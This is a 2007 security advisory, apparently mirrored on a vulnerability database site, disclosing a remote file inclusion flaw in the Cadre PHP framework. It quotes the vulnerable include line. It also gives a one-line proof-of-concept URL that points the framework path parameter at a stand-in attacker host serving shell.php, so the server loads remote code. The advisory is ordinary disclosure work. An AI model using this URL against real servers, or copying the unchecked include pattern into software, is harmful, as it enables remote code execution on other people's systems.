Cadre PHP Framework Remote File Include Vulnerability

🗓️ 01 Feb 2007 00:00:00Reported by RootType

Cadre PHP Framework Remote File Include Vulnerability discovered on January 31st, 2007 can allow attackers to execute a simple PHP injection script via class.Quick_Config_Browser.php


                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_63$2007

------------------------------------------------------------------------------------
[ECHO_ADV_63$2007]&nbsp;Cadre&nbsp;remote&nbsp;file&nbsp;inclusion
------------------------------------------------------------------------------------

Author		:&nbsp;Ahmad&nbsp;Muammar&nbsp;W.K&nbsp;(a.k.a)&nbsp;y3dips
Date&nbsp;Found	:&nbsp;January,&nbsp;31st&nbsp;2007
Location	:&nbsp;Indonesia,&nbsp;Jakarta
web		:&nbsp;http://echo.or.id/adv/adv63-y3dips-2007.txt
Critical&nbsp;Lvl	:&nbsp;Critical
------------------------------------------------------------------------------------


Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Cadre
URL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.cronosys.com&nbsp;|&nbsp;http://savannah.gnu.org/projects/cadre/
Download-path&nbsp;:&nbsp;http://ftp.azc.uam.mx/mirrors/gnu/savannah/files/cadre/cadre-20020724.tar.gz

Description&nbsp;&nbsp;&nbsp;:&nbsp;Cadre&nbsp;is&nbsp;a&nbsp;PHP&nbsp;framework&nbsp;for&nbsp;developing&nbsp;large&nbsp;business&nbsp;applications.&nbsp;
		It&nbsp;currently&nbsp;supports&nbsp;PostgreSQL&nbsp;as&nbsp;the&nbsp;database&nbsp;back&nbsp;end&nbsp;(although&nbsp;
		this&nbsp;is&nbsp;extensible).&nbsp;We&nbsp;(Cronosys,&nbsp;LLC)&nbsp;have&nbsp;invested&nbsp;two&nbsp;and&nbsp;a&nbsp;half&nbsp;
		years&nbsp;in&nbsp;this&nbsp;framework&nbsp;and&nbsp;applications&nbsp;based&nbsp;on&nbsp;this&nbsp;framework.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

	---------------class.Quick_Config_Browser.php&nbsp;--------------------
	...
	include_once($GLOBALS[config][framework_path]&nbsp;.&nbsp;&quot;class.Browser.php&quot;);
	...
	------------------------------------------------------------------


	An&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

Poc/Exploit:
~~~~~~~~

http://target/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=http://attacker/shell.php?

---------------------------------------------------------------------------
Shoutz:
~~~
~&nbsp;my&nbsp;lovely&nbsp;ana
~&nbsp;k-159&nbsp;(my&nbsp;greatest&nbsp;brotha),&nbsp;the_day&nbsp;(young&nbsp;evil&nbsp;thinker),&nbsp;and&nbsp;all&nbsp;echo&nbsp;staff
~&nbsp;str0ke,&nbsp;waraxe,&nbsp;negative
~&nbsp;[email protected]
~&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;y3dips||&nbsp;echo|staff&nbsp;||&nbsp;y3dips[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://y3dips.echo.or.id/

01 Feb 2007 00:00Current

7.1High risk

Vulners AI Score7.1